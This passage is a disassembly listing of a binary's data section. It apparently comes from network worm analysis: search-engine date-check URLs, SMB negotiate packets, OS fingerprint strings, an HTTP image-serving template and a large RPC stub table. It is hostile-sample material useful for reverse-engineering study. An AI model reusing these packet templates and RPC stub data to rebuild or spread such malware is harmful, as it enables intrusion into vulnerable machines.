'Jul',0 ; DATA XREF: .text:009B9D58o aJun db 'Jun',0 ; DATA XREF: .text:009B9D54o aMay db 'May',0 ; DATA XREF: .text:009B9D50o aApr db 'Apr',0 ; DATA XREF: .text:009B9D4Co aMar db 'Mar',0 ; DATA XREF: .text:009B9D48o aFeb db 'Feb',0 ; DATA XREF: .text:009B9D44o aJan db 'Jan',0 ; DATA XREF: .text:off_9B9D40o aW3_org db 'w3.org',0 ; DATA XREF: .text:009B9D3Co align 4 aAsk_com db 'ask.com',0 ; DATA XREF: .text:009B9D38o aYahoo_com db 'yahoo.com',0 ; DATA XREF: .text:009B9D30o align 10h aGoogle_com db 'google.com',0 ; DATA XREF: .text:009B9D2Co align 4 aBaidu_com db 'baidu.com',0 ; DATA XREF: .text:off_9B9D28o align 4 ; char Delim[] Delim db ', ',0 ; DATA XREF: sub_9ADA6E+36o align 10h dbl_9A4950 dq 0.626454564 ; DATA XREF: sub_9ADC21+A6r ; char aHttpSSearch?qD[] aHttpSSearch?qD db 'http://%s/search?q=%d',0 ; DATA XREF: sub_9ADCF2+15o align 10h stru_9A4970 _msEH <0FFFFFFFFh, offset loc_9ADFAC, offset loc_9ADFB0> ; DATA XREF: sub_9ADD9B+5o align 10h unk_9A4980 db 81h ; ; DATA XREF: sub_9AE3FA+5Do db 2 dup(0), 44h aCkfdenecfdeffc db ' CKFDENECFDEFFCFGEFFCCACACACACACA',0 aCacacacacacaca db ' CACACACACACACACACACACACACACACAAA',0 dd 0 dword_9A49CC dd 2F000000h, 424D53FFh, 72h, 4 dup(0) ; DATA XREF: sub_9AE3FA+A7o dd 25C0000h, 0 dd 2000C00h, 4C20544Eh, 2E30204Dh, 3231h dword_9A4A00 dd 49000000h, 424D53FFh, 73h, 4 dup(0) ; DATA XREF: sub_9AE3FA+EFo dd 25C0000h, 0 dd 0FF0Dh, 2FFFF00h, 25C00h, 2 dup(0) dd 1000000h, 0B000000h, 4D000000h, 4C430053h, 544E4549h dd 0 ; char aUnix[] aUnix db 'unix',0 ; DATA XREF: sub_9AE3FA:loc_9AE649o align 4 ; char aWindows4_0[] aWindows4_0 db 'windows 4.0',0 ; DATA XREF: sub_9AE3FA:loc_9AE636o ; char aWindows5_0[] aWindows5_0 db 'windows 5.0',0 ; DATA XREF: sub_9AE3FA:loc_9AE624o ; char aWindows5_1[] aWindows5_1 db 'windows 5.1',0 ; DATA XREF: sub_9AE3FA:loc_9AE612o ; char aServicePack2[] aServicePack2 db 'service pack 2',0 ; DATA XREF: sub_9AE3FA:loc_9AE5E8o align 4 ; char aWindowsServer2[] aWindowsServer2 db 'windows server 2003',0 ; DATA XREF: sub_9AE3FA:loc_9AE5C8o ; char aServicePack[] aServicePack db 'service pack',0 ; DATA XREF: sub_9AE3FA:loc_9AE5ADo ; sub_9AE3FA:loc_9AE5FAo align 10h ; char aServicePack1[] aServicePack1 db 'service pack 1',0 ; DATA XREF: sub_9AE3FA+19Eo ; sub_9AE3FA+1DCo align 10h aVista db 'vista',0 ; DATA XREF: sub_9AE3FA+188o align 4 stru_9A4AC8 _msEH <0FFFFFFFFh, offset loc_9AE663, offset loc_9AE667> ; DATA XREF: sub_9AE3FA+2o dd 676E70h ; DATA XREF: .text:009B9DA4o aJpeg db 'jpeg',0 ; DATA XREF: .text:009B9DA0o align 10h dword_9A4AE0 dd 666967h ; DATA XREF: .text:009B9D9Co dword_9A4AE4 dd 706D62h ; DATA XREF: .text:off_9B9D98o ; char aHttp1_0200OkPr[] aHttp1_0200OkPr db 'HTTP/1.0 200 OK',0Dh,0Ah ; DATA XREF: sub_9AE6A2+240o db 'Pragma: no-cache',0Dh,0Ah db 'Content-Length: %u',0Dh,0Ah db 'Content-Type: image/%s',0Dh,0Ah db 0Dh,0Ah,0 align 4 ; char aMacintosh[] aMacintosh db 'macintosh',0 ; DATA XREF: sub_9AE6A2+1D8o align 4 ; char aLinux[] aLinux db 'linux',0 ; DATA XREF: sub_9AE6A2+1CAo align 10h ; char aLwp[] aLwp db 'lwp::',0 ; DATA XREF: sub_9AE6A2+1BCo align 4 ; char aWget[] aWget db 'wget',0 ; DATA XREF: sub_9AE6A2+1AEo align 10h ; char aWindowsNt5_[] aWindowsNt5_ db 'windows nt 5.',0 ; DATA XREF: sub_9AE6A2+1A0o align 10h ; char aUserAgent[] aUserAgent db 0Dh,0Ah ; DATA XREF: sub_9AE6A2+176o db 'user-agent:',0 align 10h ; char asc_9A4B80[] asc_9A4B80 db 0Dh,0Ah ; DATA XREF: sub_9AE6A2+162o db 0Dh,0 ; char aGetSHttp[] aGetSHttp db 'get /%s http/',0 ; DATA XREF: sub_9AE6A2+75o align 8 stru_9A4B98 _msEH <0FFFFFFFFh, offset loc_9AE9D1, offset loc_9AE9D5> ; DATA XREF: sub_9AE6A2+5o align 8 dword_9A4BA8 dd 44h, 4B324FC8h, 1D31670h, 475A7812h, 88E16EBFh, 3, 8A885D04h ; DATA XREF: .text:pStubDescriptoro dd 11C91CEBh, 8E89Fh, 6048102Bh, 2, 7 dup(0) dd 48320000h, 0 dd 180000h, 400024h, 7080647h, 30003h, 0B0000h, 20000h dd 4011Bh, 4800D6h, 80008h, 0C2150h, 1A0008h, 0E80010h dd 140070h, 48320008h, 0 dd 140001h, 80008h, 3080547h, 1, 0B0000h, 20000h, 4010Bh dd 4800EEh, 80008h, 0C2113h, 7000F4h, 80010h, 4832h, 20000h dd 80010h, 4460008h, 108h, 0 dd 0Bh, 10B0002h, 0EE0004h, 80048h, 700008h, 8000Ch, 4832h dd 30000h, 24001Ch, 7470040h, 30708h, 3, 0Bh, 0B0002h dd 20004h, 8011Bh, 48019Ch, 8000Ch, 102150h, 1A0008h, 0E80014h dd 180070h, 48320008h, 0 dd 180004h, 80008h, 3080647h, 1, 0B0000h, 20000h, 4010Bh dd 10B00EEh, 0EE0008h, 0C0048h, 21130008h, 1AE0010h, 140070h dd 48320008h, 0 dd 180005h, 240024h, 5080646h, 10000h, 0B0000h, 20000h dd 4010Bh, 4800EEh, 80008h, 0C010Bh, 1A01E8h, 0E80010h dd 140070h, 48320008h, 0 dd 0C0006h, 80000h, 1080346h, 0 dd 0B0000h, 20000h, 4010Bh, 7000EEh, 80008h, 4832h, 70000h dd 10h, 4460008h, 108h, 0 dd 0Bh, 10B0002h, 0EE0004h, 8010Bh, 7000EEh, 8000Ch, 4832h dd 80000h, 24001Ch, 7470040h, 30708h, 3, 0Bh, 0B0002h dd 20004h, 8011Bh, 4802BEh, 8000Ch, 102150h, 1A0008h, 0E80014h dd 180070h, 48320008h, 0 a@: dw 9 unicode 0, < $@> dd 7080847h, 30003h, 0B0000h, 20000h, 4000Bh, 0B0002h dd 20008h, 0C011Bh, 480350h, 80010h, 142150h, 1A0008h dd 0E80018h, 1C0070h, 48320008h, 0 dd 14000Ah, 80010h, 3080547h, 1, 0B0000h, 20000h, 40048h dd 480008h, 80008h, 0C2113h, 700362h, 80010h, 4832h, 0B0000h dd 8000Ch, 3460008h, 108h, 0 dd 0Bh, 480002h, 80004h, 80070h, 48320008h, 0 dd 20000Ch, 400024h, 7080847h, 60006h, 0B0000h, 20000h dd 4000Bh, 0B0002h, 20008h, 0C011Bh, 48057Ch, 80010h, 142150h dd 1A0008h, 0E80018h, 1C0070h, 48320008h, 0 dd 10000Dh, 80000h, 1080446h, 0 dd 0B0000h, 20000h, 4000Bh, 0B0002h, 20008h, 0C0070h, 48320008h dd 0 dd 14000Eh, 240024h, 5080546h, 30000h, 0B0000h, 20000h dd 40048h, 10B0008h, 58E0008h, 0C001Ah, 7000E8h, 80010h dd 4832h, 0F0000h, 240018h, 6470040h, 70708h, 7, 0Bh, 11B0002h dd 7CC0004h, 80048h, 21500008h, 8000Ch, 10001Ah, 7000E8h dd 80014h, 4832h, 100000h, 80014h, 5470008h, 30308h, 0 dd 0Bh, 10B0002h, 0EE0004h, 80048h, 21130008h, 7DE000Ch dd 100070h, 48320008h, 0 dd 180011h, 240024h, 5080646h, 30000h, 0B0000h, 20000h dd 4010Bh, 4800EEh, 80008h, 0C010Bh, 1A0828h, 0E80010h dd 140070h, 48320008h, 0 dd 100012h, 80008h, 1080446h, 0 dd 0B0000h, 20000h, 4010Bh, 4800EEh, 80008h, 0C0070h, 48320008h dd 0 dd 100013h, 80008h, 1080446h, 0 dd 0B0000h, 20000h, 4010Bh, 4800EEh, 80008h, 0C0070h, 48320008h dd 0 dd 100014h, 240000h, 1080446h, 0 dd 0B0000h, 20000h, 4010Bh, 215000EEh, 80008h, 0C0070h dd 48320008h, 0 dd 100015h, 80008h, 3080447h, 1, 0B0000h, 20000h, 40048h dd 21130008h, 8720008h, 0C0070h, 48320008h, 0 dd 140016h, 240024h, 5080546h, 10000h, 0B0000h, 20000h dd 40048h, 10B0008h, 0BA80008h, 0C001Ah, 7000E8h, 80010h dd 4832h, 170000h, 2C001Ch, 7470040h, 10708h, 1, 0Bh, 480002h dd 80004h, 8011Bh, 480D46h, 8000Ch, 102150h, 1A0008h, 0E80014h dd 180070h, 48320008h, 0 dd 180018h, 840010h, 1080646h, 0 dd 0B0000h, 20000h, 4000Bh, 480002h, 80008h, 0C0048h, 20120008h dd 0D5A0010h, 140070h, 48320008h, 0 dd 100019h, 80008h, 5080446h, 10000h, 0B0000h, 20000h dd 40048h, 10B0008h, 0D880008h, 0C0070h, 48320008h, 0 dd 18001Ah, 400024h, 7080647h, 90009h, 0B0000h, 20000h dd 4011Bh, 480FD0h, 80008h, 0C2150h, 1A0008h, 0E80010h dd 140070h, 48320008h, 0 dd 10001Bh, 80008h, 5080446h, 10000h, 0B0000h, 20000h dd 40048h, 10B0008h, 0D880008h, 0C0070h, 48320008h, 0 dd 0C001Ch, 700000h, 1080346h, 0 dd 0B0000h, 20000h, 42012h, 700FDEh, 80008h, 4832h, 1D0000h dd 100014h, 5460008h, 108h, 0 dd 0Bh, 0B0002h, 20004h, 80048h, 480008h, 8000Ch, 100070h dd 48320008h, 0 dd 14001Eh, 240008h, 1080546h, 0 dd 0B0000h, 20000h, 4010Bh, 215000EEh, 80008h, 0C0048h dd 700008h, 80010h ; const unsigned __int8 pFormat pFormat db 32h ; DATA XREF: sub_9AED38+8o db 48h, 2 dup(0) dd 1F0000h, 2C0020h, 8470024h, 10308h, 0 dd 0Bh, 10B0002h, 0EE0004h, 80113h, 880FFCh, 1008000Ch dd 10010Bh, 15800EEh, 80014h, 180048h, 700008h, 8001Ch ; const unsigned __int8 byte_9A52DC byte_9A52DC db 32h ; DATA XREF: sub_9AED5A+8o db 48h, 2 dup(0) dd 200000h, 100018h, 6460008h, 108h, 0 dd 0Bh, 10B0002h, 0EE0004h, 8010Bh, 4800EEh, 8000Ch, 100048h dd 700008h, 80014h, 4832h, 210000h, 100014h, 5460008h dd 108h, 0 dd 0Bh, 10B0002h, 0EE0004h, 80048h, 480008h, 8000Ch, 100070h dd 48320008h, 0 dd 1C0022h, 80018h, 3080747h, 1, 0B0000h, 20000h, 4010Bh dd 11300EEh, 101A0008h, 0C0088h, 481026h, 80010h, 140048h dd 700008h, 80018h, 4832h, 230000h, 100018h, 6460008h dd 108h, 0 dd 0Bh, 10B0002h, 0EE0004h, 8010Bh, 4800EEh, 8000Ch, 100048h dd 700008h, 80014h, 4832h, 240000h, 240018h, 6470040h dd 70708h, 7, 0Bh, 11B0002h, 7CC0004h, 80048h, 21500008h dd 8000Ch, 10001Ah, 7000E8h, 80014h, 4832h, 250000h, 80014h dd 5460040h, 108h, 0 dd 0Bh, 10B0002h, 0EE0004h, 80048h, 1100008h, 1034000Ch dd 100070h, 48000008h, 0 dd 80026h, 0E030h, 380000h, 2440040h, 108h, 0 dd 118h, 70103Ch, 80004h, 4832h, 270000h, 80018h, 6470008h dd 10308h, 0 dd 0Bh, 0B0002h, 20004h, 8010Bh, 4800EEh, 8000Ch, 102013h dd 701040h, 80014h, 4832h, 280000h, 80018h, 6460008h, 508h dd 1, 0Bh, 0B0002h, 20004h, 8010Bh, 4800EEh, 8000Ch, 10010Bh dd 700698h, 80014h, 4832h, 290000h, 80010h, 4460008h, 508h dd 5, 0Bh, 480002h, 80004h, 8010Bh, 70104Ch, 8000Ch, 4832h dd 2A0000h, 18001Ch, 7460008h, 108h, 0 dd 0Bh, 0B0002h, 20004h, 8000Bh, 480002h, 8000Ch, 100048h dd 480008h, 80014h, 180070h, 48320008h, 0 dd 0C002Bh, 240000h, 1080346h, 0 dd 0B0000h, 20000h, 42150h, 700008h, 80008h, 4832h, 2C0000h dd 4C0020h, 8460008h, 508h, 1, 0Bh, 10B0002h, 0EE0004h dd 8010Ah, 10B107Eh, 0EE000Ch, 10010Bh, 10B00EEh, 10C80014h dd 180048h, 700008h, 8001Ch, 4832h, 2D0000h, 440010h, 4460008h dd 108h, 0 dd 0Bh, 10A0002h, 107E0004h, 8010Bh, 7000EEh, 8000Ch, 4832h dd 2E0000h, 4C0014h, 5460008h, 108h, 0 dd 0Bh, 10A0002h, 107E0004h, 8010Bh, 4800EEh, 8000Ch, 100070h dd 48320008h, 0 dd 10002Fh, 80044h, 1080446h, 0 dd 0B0000h, 20000h, 4010Ah, 10B107Eh, 0EE0008h, 0C0070h dd 48320008h, 0 dd 1C0030h, 80054h, 3080747h, 1, 0B0000h, 20000h, 4010Ah dd 10B107Eh, 0EE0008h, 0C0048h, 480008h, 80010h, 140113h dd 7010E0h, 80018h, 4832h, 310000h, 4C0014h, 5460008h dd 108h, 0 dd 0Bh, 10A0002h, 107E0004h, 8010Bh, 4800EEh, 8000Ch, 100070h dd 48320008h, 0 dd 100032h, 80044h, 1080446h, 0 dd 0B0000h, 20000h, 4010Ah, 10B107Eh, 0EE0008h, 0C0070h dd 48320008h, 0 a3_0: unicode 0, <3(\> dw 8 dd 5080A46h, 10000h, 0B0000h, 20000h, 4010Bh, 4800EEh dd 80008h, 0C0048h, 10B0008h, 0EE0010h, 14010Ah, 10B107Eh dd 0EE0018h, 1C010Bh, 4810C8h, 80020h, 240070h, 48320008h dd 0 dd 0C0034h, 80000h, 7080347h, 10001h, 0B0000h, 20000h dd 4201Bh, 7010ECh, 80008h, 4832h, 350000h, 80010h, 4460008h dd 508h, 5, 0Bh, 480002h, 80004h, 8010Bh, 701124h, 8000Ch dd 2 dup(0) db 2 dup(0) word_9A57BA dw 0 ; DATA XREF: .text:pStubDescriptoro dd 5C250812h, 0CE0011h, 8082Bh, 1FFFCh, 40002h, 2, 0A0000h dd 1, 52h, 380012h, 40316h, 5C465C4Bh, 0 dd 5C250812h, 5B5C085Bh, 4031Bh, 18h, 5C4B0001h, 44948h dd 10000h, 0 dd 5C250812h, 0CD004C5Bh, 3165BFFh, 5C4B0008h, 45C46h dd 120004h, 85BFFD0h, 125B08h, 316004Ch, 5C4B0010h, 5C46h dd 8120000h, 5C465C25h, 80008h, 5C250812h, 808085Bh, 31B5B08h dd 180010h, 10000h, 49485C4Bh, 10h, 2, 8120000h, 85C25h dd 8120008h, 4C5B5C25h, 5BFFB900h, 80316h, 5C465C4Bh, 40004h dd 0FFC80012h, 5B08085Bh, 8031Ah, 0 dd 29004C08h, 0C115BFFh, 8125C08h, 8115C08h, 4115C25h dd 82B0002h, 80028h, 20001h, 20004h, 0 dd 1000Ah, 80000h, 120000h, 12FF18h, 11FF62h, 82B0082h dd 0FFFC0008h, 20001h, 20004h, 0 dd 1FEF8h, 40000h, 120000h, 316004Eh, 5C4B0014h, 5C46h dd 8120000h, 5C465C25h, 80008h, 5C250812h, 808085Bh, 5B5C0808h dd 14031Bh, 18h, 5C4B0001h, 144948h, 20000h, 0 dd 5C250812h, 80008h, 5C250812h, 0B7004C5Bh, 3165BFFh dd 5C4B0008h, 45C46h, 120004h, 85BFFC8h, 31A5B08h, 8, 4C080000h dd 5BFF7500h, 20411h, 28082Bh, 1000Ch, 40002h, 4, 0FF500000h dd 1, 3EA0010h, 0E0000h, 3EBh, 0FF3Eh, 0FF640012h, 20012h dd 40315h, 115B08h, 82B0002h, 80028h, 20001h, 40004h, 0 dd 1FF16h, 0FFD60000h, 3EAh, 3EBFFD4h, 0FF040000h, 110000h dd 82B00ACh, 0FFFC0008h, 20001h, 20004h, 0 dd 1000Ah, 2C0000h, 120000h, 31B0012h, 180004h, 10000h dd 0FF9E004Ch, 3165B5Ch, 5C4B0008h, 45C46h, 120004h, 85BFFE2h dd 125B08h, 3160050h, 5C4B001Ch, 145C46h, 8120014h, 5C465C25h dd 180018h, 5C250812h, 808085Bh, 8080808h, 31B5B5Ch, 18001Ch dd 10000h, 49485C4Bh, 1Ch, 140002h, 8120014h, 185C25h dd 8120018h, 4C5B5C25h, 5BFFB500h, 80316h, 5C465C4Bh, 40004h dd 0FFC80012h, 5B08085Bh, 8031Ah, 0 dd 4B004C08h, 115BFFh, 82B0082h, 0FFFC0008h, 20001h, 20004h dd 2, 3FF4Eh, 40000h, 120000h, 316004Eh, 5C4B0014h, 0C5C46h dd 812000Ch, 5C465C25h, 100010h, 5C250812h, 808085Bh, 5B5C0808h dd 14031Bh, 18h, 5C4B0001h, 144948h, 20000h, 0C000Ch, 5C250812h dd 100010h, 5C250812h, 0B7004C5Bh, 3165BFFh, 5C4B0008h dd 45C46h, 120004h, 85BFFC8h, 31A5B08h, 8, 4C080000h, 5BFF7500h dd 20411h, 28082Bh, 10008h, 40002h, 20002h, 0FE660000h dd 3, 4, 0FF700012h, 1F80011h, 8082Bh, 1FFFCh, 40002h dd 5, 0FC8E0000h, 1, 20016h, 740000h, 0Ah, 1F600E6h, 1420000h dd 120000h, 316004Eh, 5C4B0018h, 5C46h, 8120000h, 5C465C25h dd 40004h, 5C250812h, 808085Bh, 5B080808h, 18031Bh, 18h dd 5C4B0001h, 184948h, 20000h, 0 dd 5C250812h, 40004h, 5C250812h, 0B7004C5Bh, 3165BFFh dd 5C4B0008h, 45C46h, 120004h, 85BFFC8h, 125B08h, 3160062h dd 5C4B001Ch, 5C46h, 8120000h, 5C465C25h, 40004h, 5C250812h dd 185C46h, 8120018h, 85B5C25h, 8080808h, 5B5C0808h, 1C031Bh dd 18h, 5C4B0001h, 1C4948h, 30000h, 0 dd 5C250812h, 40004h, 5C250812h, 180018h, 5C250812h, 0A3004C5Bh dd 3165BFFh, 5C4B0008h, 45C46h, 120004h, 85BFFC0h, 125B08h dd 316004Ch, 5C4B0010h, 5C46h, 8120000h, 5C465C25h, 40004h dd 5C250812h, 808085Bh, 31B5B08h, 180010h, 10000h, 49485C4Bh dd 10h, 2, 8120000h, 45C25h, 8120004h, 4C5B5C25h, 5BFFB900h dd 80316h, 5C465C4Bh, 40004h, 0FFC80012h, 5B08085Bh, 740012h dd 200316h, 5C465C4Bh, 0 dd 5C250812h, 45C46h, 8120004h, 5C465C25h, 180018h, 5C250812h dd 1C5C46h, 812001Ch, 85B5C25h, 8080808h, 5B080808h, 20031Bh dd 18h, 5C4B0001h, 204948h, 40000h, 0 dd 5C250812h, 40004h, 5C250812h, 180018h, 5C250812h, 1C001Ch dd 5C250812h, 91004C5Bh, 3165BFFh, 5C4B0008h, 45C46h, 120004h dd 85BFFB8h, 31A5B08h, 8, 4C080000h, 5BFDFF00h, 20011h dd 28082Bh, 10004h, 40002h, 9, 0FB700000h, 1, 2002Eh, 4C0000h dd 1F6h, 3EC0082h, 0FB580000h, 3EEh, 5DDFC1Ch, 0C40000h dd 3EDh, 1F5FC10h, 0FB440000h, 120000h, 3160002h, 5C4B000Ch dd 5C46h, 8120000h, 5C465C25h, 80008h, 5C250812h, 808085Bh dd 125B5Ch, 3160002h, 5C4B0020h, 5C46h, 8120000h, 5C465C25h dd 80008h, 5C250812h, 185C46h, 8120018h, 5C465C25h, 1C001Ch dd 5C250812h, 808085Bh, 8080808h, 125B08h, 1B000Eh, 180001h dd 10020h, 3165B02h, 5C4B0028h, 5C46h, 8120000h, 5C465C25h dd 80008h, 5C250812h, 185C46h, 8120018h, 5C465C25h, 1C001Ch dd 5C250812h, 245C46h, 120024h, 85BFFBEh, 2 dup(8080808h) dd 125B08h, 1B000Eh, 180001h, 10000h, 3165B02h, 5C4B0008h dd 45C46h, 120004h, 85BFFE6h, 115B08h, 82B011Eh, 0FFFC0008h dd 20001h, 50004h, 0 dd 1F964h, 160000h, 2, 1F60052h, 9E0000h, 1F5h, 0F99Ah dd 2C0012h, 0C031Bh, 18h, 5C4B0001h, 0C4948h, 20000h, 0 dd 5C250812h, 80008h, 5C250812h, 0CF004C5Bh, 3165BFEh dd 5C4B0008h, 45C46h, 120004h, 85BFFC8h, 125B08h, 31B003Ch dd 180020h, 10000h, 49485C4Bh, 20h, 4, 8120000h, 85C25h dd 8120008h, 185C25h, 8120018h, 1C5C25h, 812001Ch, 4C5B5C25h dd 5BFEA100h, 80316h, 5C465C4Bh, 40004h, 0FFB80012h, 5B08085Bh dd 440012h, 28031Bh, 18h, 5C4B0001h, 284948h, 50000h, 0 dd 5C250812h, 80008h, 5C250812h, 180018h, 5C250812h, 1C001Ch dd 5C250812h, 240024h, 0FE880012h, 8F004C5Bh, 3165BFEh dd 5C4B0008h, 45C46h, 120004h, 85BFFB0h, 31A5B08h, 8, 4C080000h dd 5BFED900h, 20411h, 28082Bh, 10008h, 40002h, 9, 0F9200000h dd 1, 2FDDEh, 0FDFC0000h, 1F6h, 3ECFE32h, 0F9080000h, 3EEh dd 5DDF9CCh, 0FE740000h, 3EDh, 1F5F9C0h, 0F8F40000h, 110000h dd 82B0002h, 80028h, 20001h, 90004h, 0 dd 1F8D6h, 0FD940000h, 2, 1F6FDB2h, 0FDE80000h, 3ECh, 3EEF8BEh dd 0F9820000h, 5DDh, 3EDFE2Ah, 0F9760000h, 1F5h, 0F8AAh dd 20411h, 28082Bh, 10004h, 40002h, 64003Bh, 1600000h dd 65h, 660172h, 1920000h, 192h, 19301C4h, 2080000h, 1F6h dd 1F70258h, 26E0000h, 257h, 3ED02A8h, 0F85C0000h, 453h dd 3F2F920h, 0F91A0000h, 3F8h, 3F9F914h, 0F90E0000h, 3FAh dd 5DDF908h, 0F9020000h, 5DEh, 5DFF8FCh, 0F8F60000h, 5E2h dd 5E5F8F0h, 0F8EA0000h, 5E6h, 5E7F8E4h, 0F8DE0000h, 5E8h dd 5E9F8D8h, 0F8D20000h, 5EAh, 5EBF8CCh, 0F8C60000h, 5ECh dd 5EEF8C0h, 0F8BA0000h, 5F0h, 5F1F8B4h, 0F8AE0000h, 5F2h dd 5F3F8A8h, 0F8A20000h, 5F4h, 5F5F89Ch, 0F8960000h, 5F8h dd 5F9F890h, 0F88A0000h, 5FAh, 5FDF884h, 0F87E0000h, 5FEh dd 5FFF878h, 0F8720000h, 600h, 601F86Ch, 0F8660000h, 602h dd 603F860h, 0F85A0000h, 604h, 605F854h, 0F84E0000h, 606h dd 607F848h, 0F8420000h, 608h, 609F83Ch, 0F8360000h, 60Ah dd 60BF830h, 0F82A0000h, 60Ch, 60DF824h, 0F81E0000h, 60Eh dd 610F818h, 0F8120000h, 611h, 612F80Ch, 0F8060000h, 613h dd 614F800h, 0F7FA0000h, 120000h, 3160002h, 5C4B0008h dd 45C46h, 8120004h, 85B5C25h, 125B08h, 3160002h, 5C4B0018h dd 45C46h, 8120004h, 5C465C25h, 140014h, 5C250812h, 808085Bh dd 5B080808h, 20012h, 340316h, 5C465C4Bh, 40004h, 5C250812h dd 145C46h, 8120014h, 5C465C25h, 300030h, 5C250812h, 808085Bh dd 2 dup(8080808h), 5B5C0808h, 20012h, 7C0316h, 5C465C4Bh dd 0C000Ch, 5C250812h, 1C5C46h, 812001Ch, 5C465C25h, 780078h dd 5C250812h, 808085Bh, 7 dup(8080808h), 125B5Ch, 3160002h dd 5C4B0088h, 0C5C46h, 812000Ch, 5C465C25h, 1C001Ch, 5C250812h dd 785C46h, 8120078h, 5C465C25h, 840084h, 5C250812h, 808085Bh dd 7 dup(8080808h), 5B080808h, 20012h, 480315h, 4 dup(8080808h) dd 5B5C0808h, 20012h, 0A80316h, 5C465C4Bh, 480048h, 5C250812h dd 808085Bh, 9 dup(8080808h), 5B080808h, 20012h, 0E00316h dd 5C465C4Bh, 480048h, 5C250812h, 808085Bh, 0Dh dup(8080808h) dd 115B08h, 82B0002h, 40028h, 20001h, 3B0004h, 64h, 65FE2Ah dd 0FE3C0000h, 66h, 192FE5Ch, 0FE8E0000h, 193h, 1F6FED2h dd 0FF220000h, 1F7h, 257FF38h, 0FF720000h, 3EDh, 453F526h dd 0F5EA0000h, 3F2h, 3F8F5E4h, 0F5DE0000h, 3F9h, 3FAF5D8h dd 0F5D20000h, 5DDh, 5DEF5CCh, 0F5C60000h, 5DFh, 5E2F5C0h dd 0F5BA0000h, 5E5h, 5E6F5B4h, 0F5AE0000h, 5E7h, 5E8F5A8h dd 0F5A20000h, 5E9h, 5EAF59Ch, 0F5960000h, 5EBh, 5ECF590h dd 0F58A0000h, 5EEh, 5F0F584h, 0F57E0000h, 5F1h, 5F2F578h dd 0F5720000h, 5F3h, 5F4F56Ch, 0F5660000h, 5F5h, 5F8F560h dd 0F55A0000h, 5F9h, 5FAF554h, 0F54E0000h, 5FDh, 5FEF548h dd 0F5420000h, 5FFh, 600F53Ch, 0F5360000h, 601h, 602F530h dd 0F52A0000h, 603h, 604F524h, 0F51E0000h, 605h, 606F518h dd 0F5120000h, 607h, 608F50Ch, 0F5060000h, 609h, 60AF500h dd 0F4FA0000h, 60Bh, 60CF4F4h, 0F4EE0000h, 60Dh, 60EF4E8h dd 0F4E20000h, 610h, 611F4DCh, 0F4D60000h, 612h, 613F4D0h dd 0F4CA0000h, 614h, 0F4C4h, 2A0011h, 35C29h, 6011Ah, 0 dd 0FFF2004Ch, 1215B5Ch, 180000h, 10000h, 18h, 4C0001h dd 5B5CFFE0h, 80316h, 5C465C4Bh, 40004h, 0FFDC0012h, 5B08085Bh dd 21411h, 20012h, 440315h, 4 dup(8080808h), 115B08h, 1B000Eh dd 180001h, 0Ch, 3165B02h, 5C4B0014h, 45C46h, 8120004h dd 5C465C25h, 80008h, 0FFDC0012h, 105C46h, 8120010h, 85B5C25h dd 8080808h, 115B5Ch, 82B021Ah, 0FFFC0008h, 20001h, 40004h dd 0 dd 10016h, 5A0000h, 2, 300DCh, 1600000h, 120000h, 31B0034h dd 180014h, 10000h, 49485C4Bh, 14h, 40003h, 8120004h, 85C25h dd 120008h, 10FF76h, 8120010h, 4C5B5C25h, 5BFF7500h, 80316h dd 5C465C4Bh, 40004h, 0FFC00012h, 5B08085Bh, 720012h, 180316h dd 5C465C4Bh, 40004h, 5C250812h, 85C46h, 120008h, 5C46FF36h dd 100010h, 5C250812h, 145C46h, 8120014h, 85B5C25h, 8080808h dd 31B5B08h, 180018h, 10000h, 49485C4Bh, 18h, 40004h, 8120004h dd 85C25h, 120008h, 10FEF6h, 8120010h, 145C25h, 8120014h dd 4C5B5C25h, 5BFF9300h, 80316h, 5C465C4Bh, 40004h, 0FFB80012h dd 5B08085Bh, 740012h, 1C0316h, 5C465C4Bh, 40004h, 5C250812h dd 85C46h, 120008h, 5C46FEAEh, 100010h, 5C250812h, 145C46h dd 8120014h, 85B5C25h, 8080808h, 5B5C0808h, 1C031Bh, 18h dd 5C4B0001h, 1C4948h, 40000h, 40004h, 5C250812h, 80008h dd 0FE6C0012h, 100010h, 5C250812h, 140014h, 5C250812h dd 91004C5Bh, 3165BFFh, 5C4B0008h, 45C46h, 120004h, 85BFFB8h dd 125B08h, 1D007Eh, 5B020100h, 1200316h, 5C465C4Bh, 40004h dd 5C250812h, 85C46h, 120008h, 5C46FE1Eh, 100010h, 5C250812h dd 145C46h, 8120014h, 85B5C25h, 8080808h, 4C080808h, 5BFFC100h dd 120031Bh, 18h, 5C4B0001h, 1204948h, 40000h, 40004h dd 5C250812h, 80008h, 0FDD80012h, 100010h, 5C250812h, 140014h dd 5C250812h, 8D004C5Bh, 3165BFFh, 5C4B0008h, 45C46h, 120004h dd 85BFFB8h, 31A5B08h, 8, 4C080000h, 5BFDDD00h, 21411h dd 20012h, 300315h, 3 dup(8080808h), 115B5Ch, 1B0002h dd 280001h, 0Ch, 8B75B02h, 0 dd 0FA00h, 5C080811h, 20011h, 2011Bh, 0C0028h, 5B050000h dd 8B7h, 0FA000000h, 4110000h, 0A0300002h, 4110000h, 0E1300002h dd 14110000h, 11F646h, 11F652h, 82B0002h, 40028h, 20001h dd 40120h, 0 dd 1FD2Ah, 0FDCA0000h, 2, 3FE4Ch, 0FED60000h, 110000h dd 1D0008h, 5B010008h, 100315h, 4C060608h, 5BFFF100h, 3C0011h dd 140316h, 5C465C4Bh, 100010h, 5C250812h, 0DD004C5Bh dd 5B5C08FFh, 14031Bh, 18h, 5C4B0001h, 144948h, 10000h dd 100010h, 5C250812h, 0C9004C5Bh, 3165BFFh, 5C4B0008h dd 45C46h, 120004h, 85BFFD0h, 115B08h, 11B0002h, 280002h dd 10010h, 14125B05h, 120002h, 31B0012h, 80008h, 1FFFCh dd 0F8E8004Ch, 3185B5Ch, 0FFEC0004h, 49485C4Bh, 40008h dd 80001h, 8120008h, 85B5C25h, 115B5Ch, 82B0002h, 40028h dd 20001h, 40120h, 0 dd 1FC52h, 0FCF20000h, 2, 3FD74h, 0FDFE0000h, 0 dd 3C0000h, 0A20072h, 12000E4h, 186015Ch, 1F801B6h, 2760240h dd 2E802A0h, 34E0318h, 3C0038Ah, 42C03FCh, 48C045Ch, 4F204BCh dd 5700534h, 5DC05A0h, 636060Ch, 6A2066Ch, 72606EAh, 79E075Ch dd 81607DAh, 876084Ch, 8EE08B2h, 960091Eh, 9D2098Ah, 0A380A02h dd 0AAA0A68h, 0B100AE0h, 0B8E0B64h, 0 ; const MIDL_STUB_DESC pStubDescriptor pStubDescriptor MIDL_STUB_DESC <offset dword_9A4BA8, offset sub_9A9638, \ ; 